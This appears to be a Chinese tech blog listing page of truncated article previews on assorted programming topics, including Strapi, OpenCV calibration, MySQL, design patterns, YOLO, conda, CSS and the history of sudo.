10分钟使用Strapi(无头CMS)生成基于Node.js的API接口,告别繁琐开发,保姆级教程,持续更新中。
一、什么是Strapi? Strapi 是一个开源的无头(headless) CMS,开发者可以自由选择他们喜欢的开发工具和框架,内容编辑人员使用自有的应用程序来管理和分发他们的内容。得益于插件系统,Strapi 是一个灵活的 C…...
创建插件 DLL 项目
Step 1: 创建插件 DLL 项目 在 Visual Studio 中创建一个新的 DLL 项目,并添加以下文件和代码。 头文件:CShapeBase.h cpp 复制代码 #pragma once #include <afxwin.h> // MFC 必需头文件 #include <string> #include <vector> #i…...
OpenCV双目相机外参标定C++
基于OpenCV库实现双目测量系统外参标定过程。通过分析双目测量系统左右相机拍摄的棋盘格标定板图像,包括角点检测、立体标定、立体校正和畸变校正的步骤,获取左右相机的相对位置关系和姿态。 a.检测每张图像中的棋盘格角点,并进行亚像素级精…...
【GESP】C++一级练习BCQM3055,4位数间隔输出
一级知识点取余、整除运算和格式化输出知识点应用。其实也可以用string去处理,那就属于GESP三级的知识点范畴了,孩子暂未涉及。 题目题解详见:https://www.coderli.com/gesp-1-bcqm3055/ https://www.coderli.com/gesp-1-bcqm3055/https://w…...
纯血鸿蒙的最难时刻才开始
关注卢松松,会经常给你分享一些我的经验和观点。 纯血鸿蒙(HarmonyOS NEXT)也正式发布了,绝对是一个历史性时刻,但最难的鸿蒙第二个阶段,也就是生态圈的建设,才刚刚开始。 目前,我劝你现在不要升级到鸿蒙…...
记一个mysql的坑
数据库表user, 存在一个name字段,字段为varchar类型 现在user表有这么两条记录: idnameageclass1NULL18一班2lisi20二班 假如我根据下面这一条件去更新,更新成功数据行显示为0 update user set age 19 where age 18 and class “一班”…...
Java中的设计模式:单例模式详解
摘要 单例模式(Singleton Pattern)是Java中最常用的设计模式之一,属于创建型模式。它的主要目的是确保一个类在系统中只有一个实例,并提供一个全局访问点来访问该实例。 1. 单例模式的定义 单例模式确保一个类只有一个实例&…...
NanoTrack原理与转tensorrt推理
文章目录 前言一、NanoTrack 工作原理二、运行demo与转换tensorrt模型2.1 运行pt模型demo2.2 转onnx模型2.3 转tensorrt模型2.4 运行trt模型推理 三、推理速度对比总结 前言 NanoTrack 是一种轻量级且高效的目标跟踪算法,基于Siamese网络架构,旨在在资源…...
YOLO11改进 | 卷积模块 | 卷积模块替换为选择性内核SKConv【附完整代码一键运行】
秋招面试专栏推荐 :深度学习算法工程师面试问题总结【百面算法工程师】——点击即可跳转 💡💡💡本专栏所有程序均经过测试,可成功执行💡💡💡 本文给大家带来的教程是将YOLO11的卷积替…...
Python|GIF 解析与构建(5):手搓截屏和帧率控制
目录 Python|GIF 解析与构建(5):手搓截屏和帧率控制 一、引言 二、技术实现:手搓截屏模块 2.1 核心原理 2.2 代码解析:ScreenshotData类 2.2.1 截图函数:capture_screen 三、技术实现&…...
conda相比python好处
Conda 作为 Python 的环境和包管理工具,相比原生 Python 生态(如 pip 虚拟环境)有许多独特优势,尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处: 一、一站式环境管理:…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...
阿里云ACP云计算备考笔记 (5)——弹性伸缩
目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...
Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...
关于nvm与node.js
1 安装nvm 安装过程中手动修改 nvm的安装路径, 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解,但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后,通常在该文件中会出现以下配置&…...
04-初识css
一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...
unix/linux,sudo,其发展历程详细时间线、由来、历史背景
sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...
3403. 从盒子中找出字典序最大的字符串 I
3403. 从盒子中找出字典序最大的字符串 I 题目链接:3403. 从盒子中找出字典序最大的字符串 I 代码如下: class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...
Mac下Android Studio扫描根目录卡死问题记录
环境信息 操作系统: macOS 15.5 (Apple M2芯片)Android Studio版本: Meerkat Feature Drop | 2024.3.2 Patch 1 (Build #AI-243.26053.27.2432.13536105, 2025年5月22日构建) 问题现象 在项目开发过程中,提示一个依赖外部头文件的cpp源文件需要同步,点…...
